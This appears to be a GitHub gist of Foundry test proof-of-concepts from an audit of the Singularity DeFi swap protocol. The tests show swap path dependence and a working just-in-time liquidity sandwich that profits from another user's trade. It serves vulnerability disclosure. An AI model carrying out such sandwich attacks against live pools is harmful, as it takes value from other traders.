-
-
Save MrToph/9a3549cb7a5bbc7db1a561d208e49ba5 to your computer and use it in GitHub Desktop.
Singularity POCs. Run `forge init --force --vscode --no-commit`, place file in `test/Contract.t.sol`, then `forge test -vvv`
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity ^0.8.13; | |
import "forge-std/Test.sol"; | |
import "contracts/SingularityPool.sol"; | |
import "contracts/SingularityOracle.sol"; | |
import "contracts/SingularityFactory.sol"; | |
import "contracts/SingularityRouter.sol"; | |
import "contracts/testing/TestChainlinkFeed.sol"; | |
import "contracts/testing/TestERC20.sol"; | |
import "contracts/testing/TestWFTM.sol"; | |
import "contracts/utils/FixedPointMathLib.sol"; | |
contract ContractTest is Test { | |
using FixedPointMathLib for uint256; | |
WFTM public wftm; | |
TestERC20 public eth; | |
TestERC20 public usdc; | |
TestERC20 public dai; | |
SingularityOracle public oracle; | |
SingularityFactory public factory; | |
SingularityRouter public router; | |
SingularityPool public wftmPool; | |
SingularityPool public ethPool; | |
SingularityPool public usdcPool; | |
SingularityPool public daiPool; | |
TestChainlinkFeed public wftmFeed; | |
TestChainlinkFeed public ethFeed; | |
TestChainlinkFeed public usdcFeed; | |
TestChainlinkFeed public daiFeed; | |
// fee receiver | |
address otherAddr = genAddr("otherAddr"); | |
function setUp() public { | |
// deploy test tokens | |
wftm = new WFTM(); | |
eth = new TestERC20("Ethereum", "ETH", 18); | |
eth.mint(address(this), 100000 * (10**eth.decimals())); | |
usdc = new TestERC20("USC Coin", "USDC", 6); | |
usdc.mint(address(this), 100000 * (10**usdc.decimals())); | |
dai = new TestERC20("Dai Stablecoin", "DAI", 18); | |
dai.mint(address(this), 1e30 * (10**dai.decimals())); | |
// deploy oracle | |
oracle = new SingularityOracle(address(this)); | |
oracle.setPusher(address(this), true); | |
address[] memory assetArray = new address[](4); | |
assetArray[0] = address(wftm); | |
assetArray[1] = address(eth); | |
assetArray[2] = address(usdc); | |
assetArray[3] = address(dai); | |
uint256[] memory priceArray = new uint256[](4); | |
priceArray[0] = 2e18; | |
priceArray[1] = 2000e18; | |
priceArray[2] = 1e18; | |
priceArray[3] = 1e18; | |
// update prices | |
oracle.pushPrices(assetArray, priceArray); | |
wftmFeed = new TestChainlinkFeed(2 * (10**8)); | |
oracle.setChainlinkFeed(address(wftm), address(wftmFeed)); | |
ethFeed = new TestChainlinkFeed(2000 * (10**8)); | |
oracle.setChainlinkFeed(address(eth), address(ethFeed)); | |
usdcFeed = new TestChainlinkFeed(1 * (10**8)); | |
oracle.setChainlinkFeed(address(usdc), address(usdcFeed)); | |
daiFeed = new TestChainlinkFeed(1 * (10**8)); | |
oracle.setChainlinkFeed(address(dai), address(daiFeed)); | |
// deploy factory | |
factory = new SingularityFactory("Tranche A", address(this), address(oracle), otherAddr); | |
// deploy router | |
router = new SingularityRouter(address(factory), address(wftm)); | |
factory.setRouter(address(router)); | |
// create pools | |
wftmPool = SingularityPool(factory.createPool(address(wftm), false, 0.0015e18)); | |
ethPool = SingularityPool(factory.createPool(address(eth), false, 0.0015e18)); | |
usdcPool = SingularityPool(factory.createPool(address(usdc), true, 0.0004e18)); | |
daiPool = SingularityPool(factory.createPool(address(dai), true, 0.0004e18)); | |
address[] memory assetArray1 = new address[](4); | |
assetArray1[0] = address(wftm); | |
assetArray1[1] = address(eth); | |
assetArray1[2] = address(usdc); | |
assetArray1[3] = address(dai); | |
uint256[] memory capArray = new uint256[](4); | |
capArray[0] = type(uint256).max; | |
capArray[1] = type(uint256).max; | |
capArray[2] = type(uint256).max; | |
capArray[3] = type(uint256).max; | |
// set deposit caps | |
factory.setDepositCaps(assetArray1, capArray); | |
// approve pools | |
wftm.approve(address(wftmPool), type(uint256).max); | |
eth.approve(address(ethPool), type(uint256).max); | |
usdc.approve(address(usdcPool), type(uint256).max); | |
dai.approve(address(daiPool), type(uint256).max); | |
// approve router | |
wftm.approve(address(router), type(uint256).max); | |
eth.approve(address(router), type(uint256).max); | |
usdc.approve(address(router), type(uint256).max); | |
dai.approve(address(router), type(uint256).max); | |
wftmPool.approve(address(router), type(uint256).max); | |
ethPool.approve(address(router), type(uint256).max); | |
usdcPool.approve(address(router), type(uint256).max); | |
daiPool.approve(address(router), type(uint256).max); | |
// add initial liquidity, owned by some address | |
daiPool.deposit(1000e18, genAddr("lp-owner")); | |
usdcPool.deposit(1000e6, genAddr("lp-owner")); | |
} | |
function genAddr(bytes memory str) internal pure returns (address) { | |
return address(bytes20(keccak256(str))); | |
} | |
function testPathIndependence() public | |
{ | |
uint256 daiIn = 650e18; // 65% | |
// 1. single swap | |
uint256 usdcOut = router.swapExactTokensForTokens(address(dai), address(usdc), daiIn, 0, address(this), 1e10); | |
// 2. two swaps (uncomment this, and comment 1. to see the difference) | |
// uint256 firstDaiIn = 604e18; | |
// uint256 usdcOut = router.swapExactTokensForTokens(address(dai), address(usdc), firstDaiIn, 0, address(this), 1e10); | |
// usdcOut += router.swapExactTokensForTokens(address(dai), address(usdc), daiIn - firstDaiIn, 0, address(this), 1e10); | |
console.log("usdcOut", usdcOut); | |
} | |
function testJustInTimeSandwich() public { | |
// LPs get the fees (increases price-per-share). can just-in-time provide liqudity to capture the trading fee | |
address[] memory tokens = new address[](1); | |
tokens[0] = address(dai); | |
uint256[] memory baseFees = new uint256[](1); | |
baseFees[0] = 0.0015e18; | |
factory.setBaseFees(tokens, baseFees); | |
uint256 daiBalanceBefore = dai.balanceOf(address(this)); | |
// sandwich 1. deposit liquidity (need to pay deposit fee) | |
uint256 daiToAdd = 2100e18; | |
uint256 liquidity = router.addLiquidity(address(dai), daiToAdd, 0, address(this), 1e10); | |
// user does trade | |
uint256 daiIn = 650e18; // originally 65% of the pool balance | |
dai.mint(otherAddr, daiIn); | |
vm.startPrank(otherAddr); | |
dai.approve(address(router), type(uint256).max); | |
router.swapExactTokensForTokens(address(dai), address(usdc), daiIn, 0, address(this), 1e10); | |
vm.stopPrank(); | |
// sandwich: 2. remove LP again | |
router.removeLiquidity(address(dai), liquidity, 0, address(this), 1e10); | |
uint256 daiBalanceAfter = dai.balanceOf(address(this)); | |
assertGt(daiBalanceAfter, daiBalanceBefore); | |
console.log("DAI profit", daiBalanceAfter - daiBalanceBefore); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment